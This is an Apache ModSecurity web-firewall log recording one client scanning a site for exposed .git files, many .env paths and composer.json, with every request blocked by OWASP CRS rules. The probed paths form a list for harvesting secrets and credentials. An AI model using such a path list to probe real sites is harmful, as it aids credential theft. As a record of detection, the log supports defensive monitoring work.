[Mon Oct 26 22:24:28.763344 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auALXJwShtd1X0LKqV8TTAAAABM"]
[Mon Oct 26 22:24:28.763465 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auALXJwShtd1X0LKqV8TTAAAABM"]
[Mon Oct 26 22:24:28.763710 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auALXJwShtd1X0LKqV8TTAAAABM"]
[Mon Oct 26 22:24:28.804026 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auALXHfB5_cr2AuVp7R31gAAABA"]
[Mon Oct 26 22:24:28.804293 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auALXHfB5_cr2AuVp7R31gAAABA"]
[Mon Oct 26 22:24:28.804597 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auALXHfB5_cr2AuVp7R31gAAABA"]
[Mon Oct 26 22:24:28.805578 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auALXONHR3WH6txPzi7mHQAAAA0"]
[Mon Oct 26 22:24:28.805700 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auALXONHR3WH6txPzi7mHQAAAA0"]
[Mon Oct 26 22:24:28.805955 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auALXONHR3WH6txPzi7mHQAAAA0"]
[Mon Oct 26 22:24:28.807789 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auALXEV4AUzwl86DWirnLQAAABI"]
[Mon Oct 26 22:24:28.824658 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auALXEV4AUzwl86DWirnLQAAABI"]
[Mon Oct 26 22:24:28.824922 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auALXEV4AUzwl86DWirnLQAAABI"]
[Mon Oct 26 22:24:28.905275 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auALXIU8RArHmY5bTmWw8AAAAAY"]
[Mon Oct 26 22:24:28.905415 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auALXIU8RArHmY5bTmWw8AAAAAY"]
[Mon Oct 26 22:24:28.905665 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auALXIU8RArHmY5bTmWw8AAAAAY"]
[Mon Oct 26 22:24:28.913126 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auALXHNS3DmvLoCS_mRi6AAAABg"]
[Mon Oct 26 22:24:28.913268 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auALXHNS3DmvLoCS_mRi6AAAABg"]
[Mon Oct 26 22:24:28.913502 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auALXHNS3DmvLoCS_mRi6AAAABg"]
[Mon Oct 26 22:24:28.962404 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auALXFEGzjBJO_o-KWJAewAAAAw"]
[Mon Oct 26 22:24:28.962588 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auALXFEGzjBJO_o-KWJAewAAAAw"]
[Mon Oct 26 22:24:28.962934 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auALXFEGzjBJO_o-KWJAewAAAAw"]
[Mon Oct 26 22:24:28.976330 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auALXEV4AUzwl86DWirnLwAAABI"]
[Mon Oct 26 22:24:28.976548 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auALXEV4AUzwl86DWirnLwAAABI"]
[Mon Oct 26 22:24:28.976887 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auALXEV4AUzwl86DWirnLwAAABI"]
[Mon Oct 26 22:24:29.060206 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auALXVEGzjBJO_o-KWJAfAAAAAw"]
[Mon Oct 26 22:24:29.066004 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auALXVEGzjBJO_o-KWJAfAAAAAw"]
[Mon Oct 26 22:24:29.066227 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auALXVEGzjBJO_o-KWJAfAAAAAw"]
[Mon Oct 26 22:24:29.066812 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auALXYU8RArHmY5bTmWw8gAAAAY"]
[Mon Oct 26 22:24:29.067053 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auALXYU8RArHmY5bTmWw8gAAAAY"]
[Mon Oct 26 22:24:29.067259 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auALXUV4AUzwl86DWirnMAAAABI"]
[Mon Oct 26 22:24:29.067368 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auALXYU8RArHmY5bTmWw8gAAAAY"]
[Mon Oct 26 22:24:29.067413 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auALXUV4AUzwl86DWirnMAAAABI"]
[Mon Oct 26 22:24:29.067619 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auALXUV4AUzwl86DWirnMAAAABI"]
[Mon Oct 26 22:24:29.078474 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auALXXNS3DmvLoCS_mRi6gAAABg"]
[Mon Oct 26 22:24:29.078604 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auALXXNS3DmvLoCS_mRi6gAAABg"]
[Mon Oct 26 22:24:29.078825 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auALXXNS3DmvLoCS_mRi6gAAABg"]
[Mon Oct 26 22:24:29.095348 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auALXZwShtd1X0LKqV8TUAAAABM"]
[Mon Oct 26 22:24:29.095496 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auALXZwShtd1X0LKqV8TUAAAABM"]
[Mon Oct 26 22:24:29.095738 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auALXZwShtd1X0LKqV8TUAAAABM"]
